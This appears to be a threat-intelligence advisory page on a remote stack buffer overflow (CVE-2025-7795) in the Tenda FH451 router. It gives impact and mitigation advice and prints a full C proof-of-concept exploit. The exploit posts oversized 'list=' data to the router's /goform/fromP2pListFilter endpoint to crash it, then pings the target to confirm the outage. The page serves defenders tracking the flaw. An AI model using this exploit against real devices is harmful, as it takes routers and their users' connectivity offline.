Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow
Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow
AI Analysis
Technical Summary
The Tenda FH451 router running firmware version 1.0.0.9 is vulnerable to a stack-based buffer overflow. This type of vulnerability occurs when a program writes more data to a buffer located on the stack than it can hold, which can overwrite adjacent memory and potentially allow an attacker to execute arbitrary code or cause a denial of service. The vulnerability is exploitable remotely, meaning an attacker does not need physical access to the device to exploit it. The presence of exploit code written in C indicates that a proof-of-concept or working exploit is publicly available, which increases the risk of exploitation. Although no specific details about the vulnerable function or input vector are provided, the nature of stack-based buffer overflows typically involves improper input validation or unsafe string handling in the router's firmware. The lack of patch information suggests that no official fix has been released yet, which leaves affected devices exposed. Since routers are critical network infrastructure components, exploitation could allow attackers to gain control over the device, intercept or manipulate network traffic, or pivot into internal networks.
Potential Impact
For European organizations, this vulnerability poses a significant risk to network security and operational continuity. Compromised routers can lead to interception of sensitive data, man-in-the-middle attacks, or disruption of internet connectivity. This is particularly concerning for enterprises relying on Tenda FH451 routers for branch office connectivity or small and medium-sized businesses that may not have robust network segmentation. Additionally, critical infrastructure sectors such as healthcare, finance, and government agencies could face increased exposure if these devices are deployed in their networks. The remote exploitability and availability of exploit code heighten the threat landscape, potentially enabling cybercriminals or state-sponsored actors to conduct espionage, data theft, or service disruption.
Mitigation Recommendations
Organizations should immediately inventory their network devices to identify any Tenda FH451 routers running firmware version 1.0.0.9. Given the absence of an official patch, mitigation should focus on network-level controls: restrict remote management access to trusted IP addresses via firewall rules, disable any unnecessary remote administration features, and isolate vulnerable routers in segmented network zones to limit lateral movement. Monitoring network traffic for unusual patterns or signs of exploitation attempts is critical. Where possible, replace affected devices with models from vendors that provide timely security updates. Additionally, implement strict input validation and firmware integrity checks if custom firmware or updates are applied. Organizations should also subscribe to vendor advisories and security bulletins for updates regarding patches or mitigation guidance.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland
Indicators of Compromise
- exploit-code: /* * Title : Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-7795 * Vulnerability : Buffer Overflow * Description : * A buffer overflow vulnerability affecting certain Tenda routers, * exploitable via an unauthenticated POST request to an unprotected endpoint, leading to service crash. */ #include <stdio.h> #include <string.h> #include <unistd.h> #include "argparse.h" #include <arpa/inet.h> #include <stdlib.h> #include <curl/curl.h> #include <sys/wait.h> #define FULL_URL 2500 #define POST_DATA 10000 const char *targetUrl = NULL; const char *targetip = NULL; int selectIp = 0; int selectUrl = 0; int verbose = 0; int showOne = 0; char postData[POST_DATA]; struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (!tmp) return 0; m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void pingPacket() { int pid = fork(); printf("\n============================================== [Ping] ==============================================\n"); if (pid < 0) { perror("\e[1;31m[-] Fork Failed!\e[0m"); exit(1); } if (pid == 0) { printf("\e[1;32m[+] Child Process (Ping) -> PID: %d\e[0m\n", getpid()); char *const argv[] = { "/bin/ping", "-c", "3", (char *)targetip, NULL }; char *const envp[] = { NULL }; __asm__ volatile ( "mov $59, %%rax\n\t" "mov %[prog], %%rdi\n\t" "mov %[argv], %%rsi\n\t" "mov %[envp], %%rdx\n\t" "syscall\n\t" "mov $60, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : [prog] "r" (argv[0]), [argv] "r" (argv), [envp] "r" (envp) : "rax", "rdi", "rsi", "rdx" ); } else { printf("\e[1;32m[+] Main PID : %d\e[0m\n", getpid()); int status; waitpid(pid, &status, 0); if (WIFEXITED(status)) { int code = WEXITSTATUS(status); printf("\e[1;33m[+] Ping exited with code: %d\e[0m\n", code); if (code == 0) { printf("\e[1;31m[-] Successfully confirmed connection via ping!\e[0m\n"); printf("\e[1;31m[-] The server is still working, please try again!\n\e[0m"); } else { printf("\e[1;34m[+] The server is not responding to the ping request!\e[0m\n"); printf("\e[1;34m[+] CVE-2025-7795: Vulnerability confirmed! Server is down.\e[0m\n"); } } } printf("\n============================================================================================\e[0m\n"); } void sendRequest() { CURL *c = curl_easy_init(); CURLcode res; char full[FULL_URL]; struct Mem response = {NULL, 0}; if (!c) { printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n"); exit(EXIT_FAILURE); } if (targetip) selectIp = 1; if (targetUrl) selectUrl = 1; if (selectIp) { snprintf(full, sizeof(full), "http://%s/goform/fromP2pListFilter", targetip); } if (selectUrl) { snprintf(full, sizeof(full), "%s/goform/fromP2pListFilter", targetUrl); } int rounds = 5; int baseLen = 3500, step = 1000; showOne = 1; for (int i = 0; i < rounds; i++) { int len = baseLen + i * step; if (len + 6 >= sizeof(postData)) break; snprintf(postData, sizeof(postData), "list="); memset(postData + 5, 'A', len); postData[5 + len] = '\0'; printf("\e[1;34m[%d] Iteration %d - Length: %d\e[0m\n", i+1, i+1, len); if (verbose) { printf("\e[1;35m\n====================================================================[Post Data] ====================================================================\e[0m\n"); printf("%s\e[0m\n\n", postData); printf("\e[1;35m====================================================================[Post Data] ====================================================================\e[0m\n"); } curl_easy_reset(c); curl_easy_setopt(c, CURLOPT_URL, full); curl_easy_setopt(c, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(c, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(c, CURLOPT_POST, 1L); curl_easy_setopt(c, CURLOPT_POSTFIELDS, postData); curl_easy_setopt(c, CURLOPT_POSTFIELDSIZE, (long)strlen(postData)); curl_easy_setopt(c, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(c, CURLOPT_WRITEDATA, &response); curl_easy_setopt(c, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(c, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(c, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(c, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *h = NULL; h = curl_slist_append(h, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); h = curl_slist_append(h, "Accept-Encoding: gzip, deflate, br"); h = curl_slist_append(h, "Accept-Language: en-US,en;q=0.5"); h = curl_slist_append(h, "Connection: keep-alive"); h = curl_slist_append(h, "Referer: http://example.com"); h = curl_slist_append(h, "Cache-Control: no-cache"); h = curl_slist_append(h, "Pragma: no-cache"); curl_easy_setopt(c, CURLOPT_HTTPHEADER, h); if (verbose) curl_easy_setopt(c, CURLOPT_VERBOSE, 1L); char *encode1 = curl_easy_escape(c, full, 0); if (!encode1) { printf("\e[1;31m[-] URL encoding failed for payload\e[0m\n"); exit(EXIT_FAILURE); } if (verbose && showOne) { printf("\e[1;37m========================================="); if (selectUrl) printf("\e[1;37m[+] Input Url : %s\e[0m\n[+] Encode Url : %s\e[0m\n[+] full format Url : %s\e[0m\n", targetUrl, encode1, full); if (selectIp) printf("\e[1;37m[+] Input Ip : %s\e[0m\n[+] full format Url : %s\e[0m\n", targetip, full); printf("========================================="); showOne = 0; } res = curl_easy_perform(c); curl_slist_free_all(h); curl_free(encode1); if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } if (res == CURLE_OK) { long httpCode = 0; printf("\e[1;36m[+] Request sent successfully\e[0m\n"); curl_easy_getinfo(c, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[1;32m[+] Http Code Response : %ld\e[0m\n", httpCode); if (httpCode >= 200 && httpCode < 300) { printf("\e[1;31m[-] The server was not affected, still working !\n"); printf("\e[1;33m-------------------------------- Response Server --------------------------------\e[0m\n"); printf("%s\e[0m\n", response.buffer); printf("\e[1;33m-----------------------------------------------------------------------------------\e[0m\n"); } else { printf("\e[1;34m[+] Negative server response. I started trying to confirm the connection...\e[0m\n"); printf("[+] Run Command Ping For Check Connection : \e[0m\n"); if (selectIp) pingPacket(); else printf("[-] Error Run Command Ping for URl !\e[0m\n[-] Please Enter Target Ip for Check Connection !\e[0m\n"); } } else { printf("[-] Error Send Request, Please Check Your Connection !\e[0m\n"); printf("[-] Error : %s\n", curl_easy_strerror(res)); } } free(response.buffer); curl_easy_cleanup(c); } int main(int argc, const char **argv) { printf( "\e[1;31m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▄▖▄▖▄▖ \n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▌▙▖ \n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▌ ▌▄▌▄▌ \n" " \e[1;37mByte Reaper\e[0m\n" ); printf("\e[1;37m---------------------------------------------------------------------------------------------------------------------------------\e[0m\n"); if (getuid() != 0) { printf("===================================================\e[0m\n"); printf("[-] Not running as root. Trying with sudo...\e[0m\n"); char *args[] = {(char*)"sudo", (char*)"./exploit", NULL}; execvp("sudo", args); perror("[-] Error Run Exploit in Root !"); __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : : "rdi" ); } printf("\e[1;36m[+] Running as root! Exploit continues...\e[0m\n"); printf("===================================================\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('i', "ip", &targetip, "Enter Target IP"), OPT_STRING('u', "url", &targetUrl, "Enter Target URL"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!targetip && !targetUrl) { printf("\e[1;33m[-] Please Enter Target IP OR URl !\e[0m\n"); printf("\e[1;33m[!] Exemple : ./exploit -u http://ROUTER_IP\e[0m\n"); printf("[+] OR \n"); printf("\e[1;33m[!] Exemple : ./exploit -i ROUTER_IP\e[0m\n"); __asm__ volatile( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "1:\n\t" "syscall\n\t" : : : "rax", "rdi", "rsi" ); } if (targetip && targetUrl) { printf("[+] Please Enter Traget URL OR Traget Ip address, Exit...\e[0m\n"); __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rdi" ); } if (selectIp) { sendRequest(); } else { sendRequest(); } return 0; }
Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow
Description
Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow
AI-Powered Analysis
Technical Analysis
The Tenda FH451 router running firmware version 1.0.0.9 is vulnerable to a stack-based buffer overflow. This type of vulnerability occurs when a program writes more data to a buffer located on the stack than it can hold, which can overwrite adjacent memory and potentially allow an attacker to execute arbitrary code or cause a denial of service. The vulnerability is exploitable remotely, meaning an attacker does not need physical access to the device to exploit it. The presence of exploit code written in C indicates that a proof-of-concept or working exploit is publicly available, which increases the risk of exploitation. Although no specific details about the vulnerable function or input vector are provided, the nature of stack-based buffer overflows typically involves improper input validation or unsafe string handling in the router's firmware. The lack of patch information suggests that no official fix has been released yet, which leaves affected devices exposed. Since routers are critical network infrastructure components, exploitation could allow attackers to gain control over the device, intercept or manipulate network traffic, or pivot into internal networks.
Potential Impact
For European organizations, this vulnerability poses a significant risk to network security and operational continuity. Compromised routers can lead to interception of sensitive data, man-in-the-middle attacks, or disruption of internet connectivity. This is particularly concerning for enterprises relying on Tenda FH451 routers for branch office connectivity or small and medium-sized businesses that may not have robust network segmentation. Additionally, critical infrastructure sectors such as healthcare, finance, and government agencies could face increased exposure if these devices are deployed in their networks. The remote exploitability and availability of exploit code heighten the threat landscape, potentially enabling cybercriminals or state-sponsored actors to conduct espionage, data theft, or service disruption.
Mitigation Recommendations
Organizations should immediately inventory their network devices to identify any Tenda FH451 routers running firmware version 1.0.0.9. Given the absence of an official patch, mitigation should focus on network-level controls: restrict remote management access to trusted IP addresses via firewall rules, disable any unnecessary remote administration features, and isolate vulnerable routers in segmented network zones to limit lateral movement. Monitoring network traffic for unusual patterns or signs of exploitation attempts is critical. Where possible, replace affected devices with models from vendors that provide timely security updates. Additionally, implement strict input validation and firmware integrity checks if custom firmware or updates are applied. Organizations should also subscribe to vendor advisories and security bulletins for updates regarding patches or mitigation guidance.
Affected Countries
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Technical Details
- Edb Id
- 52374
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow
/* * Title : Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-7795 * Vulnerability : Buffer Overflow * Description : * A buffer overflow vulnerability affecting certain Tenda routers, * exploitable via an unauthenticated POST request to an unprotected endpoint, leading to service crash. */ #include <stdio.h> #include <string.h> #include <unistd.h> #include "argparse.h" #include <arpa/i... (11761 more characters)
Threat ID: 687ffbf0a915ff00f7fb52bb
Added to database: 7/22/2025, 9:00:32 PM
Last enriched: 9/26/2025, 1:25:07 AM
Last updated: 10/3/2025, 12:45:04 PM
Views: 59
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